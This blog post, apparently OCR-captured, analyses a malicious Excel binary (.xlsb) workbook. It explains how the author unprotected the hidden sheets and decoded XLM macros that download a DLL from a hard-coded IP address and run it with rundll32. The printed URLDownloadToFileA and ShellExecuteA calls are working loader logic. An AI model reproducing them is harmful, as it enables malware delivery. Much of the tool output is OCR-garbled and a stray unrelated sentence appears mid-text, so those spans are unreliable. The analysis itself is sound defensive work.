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The @InQuest crew has been putting some unusual documents out on the Twitters and |
thought I'd take a closer look at one of them. And as ALWAYS, new documents are never
that straight forward to analyze. Attackers always put a twist on what has already been done.

In this case, we've got an .xIsb file, XLM code, hidden sheets, protected sheets, and the
ever-so-sneaky-hiding-in-plain-sight white font.

Here’s the doc: https://app.any.run/tasks/47e1c347-664c-4ada-9655-1724387e85%¢/#

Microsoft Excel Binary Spreadsheets (.xlIsb)

| can’t say that I've ever seen these until now. They open and function like any other
spreadsheet. The difference is under the hood. They store the spreadsheet using a binary
format (BIFF12) rather than the typical .xIsx or .xls. This means that .xlsb files are usually
bigger as they’re not compressed. Extremely complicated spreadsheets (ones with lots of
formulas, charts, and shapes) can benefit from this file format as they may save and load
much faster.

But this format means that some of our normal analysis tools do not work. For example,
oledump can’t find any OLE objects in the file.

OfficeMalScanner will expand the document if you use the inflate optlon. However, the output
doesn’t show the normal vbaproject.bin. There’s a ton of other files that are NOT
vbaproject.bin. (Of course, there’s no vbaproject.bin. Oledump.py didn’t find any macros,
right?)
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C:\Users\REM\Desktopisample»>0fficeMalScanner xlsb_file.xlsb inflate

[*] INFLATE mode selected

[*] Opening file xlsb file.xlsb

[#] Filesize is 86772 (@x152f4) Bytes

[*] Microsoft Office Open XML Format document detected.

Found 49 files in this archive

[CONTENT_TYPES] . XML 3819 Bytes at Offset BxBBEEEE0E

 RELS/.RELS 732 Bytes at Offset exBBoee49d

XL/ RELS/WORKBOOK.BIMN.RELS 2896 Bytes at Offset BxBBEEE7dE

XL/ WORKBOOK . BIN 978 Bytes at Offset BxBBEEBa%6

DOCPROPS/ THUMBMAIL . WMF 114532 Bytes at Offset exBBeeBcal
XL/STYLES.BIN 929 Bytes at Offset BxBBEB566d

XL/ THEMES THEMEL . XML 8398 Bytes at Offset 6xBBEO521f

XL/ WORKSHEETS/ _RELS/SHEET4.BIN.RELS 284 Bytes at Offset BxBBEE59d1
XL /WORKSHEETS/SHEETS . BIN 6434 Bytes at Offset BxBBBB5ad3

XL/ SHAREDSTRINGS.BIN 22852 Bytes at Offset BxBBEBEESe

XL /DRAWINGS/DRAWINGL . XML 1368 Bytes at Offset BxBBBB7f5a
XL/MEDIASIMAGEL.PNG 33923 Bytes at Offset BxBBEBB219

XL/ WORKSHEETS/ _RELS/SHEET1.BIN. at Offset exBBelesccd
XL/ WORKSHEETS/ _RELS/SHEET2.BIN. at Offset exBBele7f2
XL/ WORKSHEETS/_RELS/SHEET3. . at Offset BxBBB1E92C
XL/ WORKSHEETS/SHEET1.BIN at Offset BxBBGlBaze

XL/ WORKSHEETS/ _RELS/SHEETS. . exee616bob
XL /WORKSHEETS/SHEETS.BIN at Offset BxBBB18cod

XL/ WORKSHEETS/_RELS/SHEETE. . at Offset BxBBE11683
XL/ WORKSHEETS/_RELS/SHEETO. . at Offset BxBBE11185
XL/ WORKSHEETS/SHEET4 . BIN 1879 Bytes at Offset BxBBEllZae
XL/DRAWINGS/_RELS/DRAWINGI. . at Offset BxBBE1148cC
XL/ WORKSHEETS/SHEET3 . BIN 2143 Bytes at Offset BxBBE1158b

XL/ WORKSHEETS/SHEETS . BIN 743 Bytes at Offset BxBBE11783

XL/ WORKSHEETS/_RELS/SHEETS. . at Offset eBxBBE1183b
XL/ WORKSHEETS/SHEETE . BIN 743 Bytes at Offset BxBBE11964

XL/ WORKSHEETS/SHEETY .BIN 5971 Bytes at Offset BxBBG11laab

XL /WORKSHEETS/SHEET2 .BIN 3148 Bytes at Offset BxBBE1213d

XL /MACROSHEETS/ _RELS/SHEET1.BIMN.RELS 284 Bytes at Offset BxBBE12453
XL/ WORKSHEETS/ _RELS/SHEET7.BIN.RELS 284 Bytes at Offset BxBBB12556
XL/ MACROSHEETS/SHEET1.EBIN 2612 Bytes at Offset BxBBB12658

XL/ WORKSHEETS/BINARYINDEX2 .BIN 345 Bytes at Offset BxBBB12a35
DOCPROPS/APP . XML 1132 Bytes at Offset exBBE12b23

XL/ WORKSHEETS/BINARYINDEXL.BIN 29 Bytes at Offset eBxBBel2elb
XL/TABLES/TABLEL.BIN 1528 Bytes at Offset eBxBBBl2ebb
XL/CALCCHAIN.BIN 3851 Bytes at Offset exBBe136d3

XL/ MACROSHEETS/BINARYINDEXL.BIN 194 Bytes at Offset BxBBB13366

XL /WORKSHEETS/BINARYINDEXG. 85 Bytes at Offset BxBBB13412

XL /WORKSHEETS/BINARYINDEXS. 85 Bytes at Offset BxBBB13486

XL /WORKSHEETS/BINARYINDEXA . 121 Bytes at Offset BxBBB134fa

XL /WORKSHEETS/BINARYINDEXS. 315 Bytes at Offset BxBBB1357C

XL /WORKSHEETS/BINARYINDEXT . 238 Bytes at Offset BxBBB13659

XL /WORKSHEETS/BINARYINDEXS. 133 Bytes at Offset BxBBB13722



https://clickallthethings.files.wordpress.com/2021/02/image-1.png

In hindsight, all of these .bin files make sense as this is an .xIsb file. It certainly didn’t make
sense the first time | cracked it open, though.

Analysis from within the document

First, there are a bunch of hidden sheets.
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You won't please, Mom, Paul said. - And in my opinion, that first photo, with bare shoulders, is very nice.
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However, Auto_Open is pointing to Sheet11!A1. If we go there, we can see a empty columns
containing XLM in white font.

AL v | x v & | =IF100,100)

26 T
And of COURSE we can’t edit the font because a bunch of these sheets are protected AND
we don’t have the password!

& Protect Workbook

ﬁ One or more sheets in this workbook have been locked to prevent unwanted

Protect changes to the data.
e " Sheet Unprotect
B Sheetl Unprotect
B Sheet5 Unprotect
B Sheetd Unprotect
B Sheet1] Unprotect

It is possible to enable content and step through the XLM like we’ve done before. However,
the other sheets contain macro code and characters that are spread out all over the place.
That’s annoying enough to analyze even if it wasn’t in white font.
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Unprotecting the sheets

All hope is not lost. We can bypass the protected sheets if we save the document in a
different macro-enabled format like .xIsm. This will also change the worksheets from .bin files
to .xml files. This will be important in a moment.

B | xlsb_filexlsh 2/2/202110:40 AM  Microsoft Excel Binary Worksheet 85 KB
8 xlsm_filexlsm 2/2/2021 T:59 PM Microsoft Excel Macro-Enabled Worksheet &4 KB
— - r aunpe s

_rels ~

'] binarylndex.bin #q LI Name

] binaryIndex2.bin rels

L] binary | a0 .-
inarylndex3.bin sheetl.xm
binarylndex3.b heetl.xml

| binarylndexd.bin I T [ sheet2xml

|:] binarylndex3.bin ! Q{ sheet3.xml

|:] binarylndext.bin =i er sheetd.xml

|:] binarylndex?.bin * [ Qf’ sheetS.xml

|:| binarylndex3.bin er sheetb.xml

. [

| binarylndexd.bin J [ sheetTaxml

|:] sheetl.bin = | Q{ sheetd.xml

|:] sheet2.bin m 1' er sheetfuxml

| | sheet3.bin e |

| | sheetd.bin BN

[ sheetS.bin =

| ] sheetf.bin

| | sheet7.bin

| | sheet@.bin

| | sheet9.bin

Change your newly created .xIsm file to a .zip and navigate your way into x/\worksheets and
xI\macrosheets to find .xml sheets. We will un-protect these sheets by taking out a section
called sheetProtection. Delete everything from <sheetProtection to its trailing />, including
the two < > characters, and then save the .xml. Delete sheet protection wherever you find it.

e p e g e mmme e e mpmen e aae e s maen e s e o aemee e & e ae e e asmmes g s e e
</v></c></row></sheetData>SSlESEPEOtEEtaon 2lgorithmName="SHA-512" hashValue=

"UsJ9dEUhoi TF1hwdMRJBEeS £ TTQrFHGL TONAXJpE 66 XhMtCUzosHDHVRAS S SHVEL ImBXv+QQ3ImOSAT+01M0Yge=" saltValue="nuuRlfocA2gWnmTSuIssUJQ==" s=pinCount
="100000" sheet="1" objects="1" scenarios="1"fB<pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/>
</xm:macrosheet>

You'll have to drag the various .xml files out of the .zip file, edit them, and then copy them
back into their appropriate locations. Finally, change the file from .zip to .xIlsm.

Analyzing the XLM

Now that the sheets are unprotected, we can finally get rid of that white font and see the
XLM. Auto_open is pointing to Sheet11!A1. | color-coded the extraneous lines and analyzed
the three important =CALL() commands.
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1 SECURITY WARNING Macros have been disabled. | Enable Content |

A29 v [ F

h
>
c

~

1 =IF(100,100)

2 |=RUN(A3)

3 =SUM(2,200,400)
4 | =IF(200,200)

5
6 =CALL{Sheetl!R15,Sheetl!R13,5heetl!N21,5heet8!F15,0)

132,CreateDi yA,JCJ,C:\ProgramData\fps,0

‘

8  =IF(401,401)

8 | =WAIT(NOW() + "00:00:03")
10
11 =CALL{Sheet1!3,Sheet1!T5,5heet1!N22,0,Sheet5!L8,5heetB17,0,0)
12
13 |=IF(665,665)

14 =RUN(A15)

15 =SUM(400,5000,71)

16 |=WAIT(NOW() + "00:00:05")
17 |=IF(999,1001-2)

18 =RUN(A19)

19 =SUM(15,98,987,462,16)
20
21 =IF(299,402-3)

22 =CALL[Sheetl!L5,5heet1107,5heet1109,0,5heet1!011,5heeta!F18, Sheet8H21,0,0)
23
24
25 |=HALT()

Ultimately, it downloads a .dll to C:\ProgramData\fps\ and registers that .dll via rundll32.exe.

Urlmon,URLDownloadToFileA,JJCCI), http://172.104.143.130/ campoy/t/t;C:\ProgramData\fps\40.d11,0,0

shell32,shellExecutea, JJCCCCL,0,0pen, rundll32.exe,C:\ProgramData\fps\40.d11, DIIRegisterServer,0,0

As a bonus, Excel does some of the XLM concatenating for us making analysis easier.
Here’s an example from Sheet1. You can see that cell L3 contains
=CONCATENATE(Sheet...), but the cell itself shows the result.

=COMCATENATE(Sheetl!B8,Sheetl!B3,5heetl!B10,5heetl!B11,5heetl!B12,5heetl!B13)

p | E | F | 6 | H | v | 3 | x |
U |I..Ir|m0n_|
R
L Shell32
(B}

Good times!

Thanks for reading.
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